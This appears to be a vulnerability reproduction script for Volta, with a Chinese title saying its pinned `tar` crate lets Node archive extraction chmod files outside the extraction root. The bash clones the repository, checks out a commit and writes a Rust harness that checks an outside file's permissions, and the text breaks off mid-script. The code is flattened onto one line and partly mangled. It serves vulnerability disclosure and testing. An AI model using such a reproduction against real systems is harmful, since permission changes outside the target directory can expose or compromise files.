Volta 锁定了易受攻击的 `tar` 容器版本,其节点存档解压路径可以在解压根目录之外执行 chmod 操作

set -euo pipefail git clone https://GitHub.com/volta-cli/volta.git volta-repro cd volta-repro git checkout 5eedd5fb2f682baceb47a242289111fcd79435a5 mkdir -p crates/archive/examples cat > crates/archive/examples/cve_33056.rs <<'RS' use archive::Tarball; use std::env; use std::fs::File; use std::os::unix::fs::PermissionsExt; use std::path::Path; fn mode(path: &Path) -> u32 { std::fs::metadata(path).unwrap().permissions().mode() & 0o777 } fn main() { let args: Vec = env::args().collect(); let archive_path = Path::new(&args[1]); let dest = Path::new(&args[2]); let outside = Path::new(&args[3]);

println!("BEFORE_MODE={:o}",

…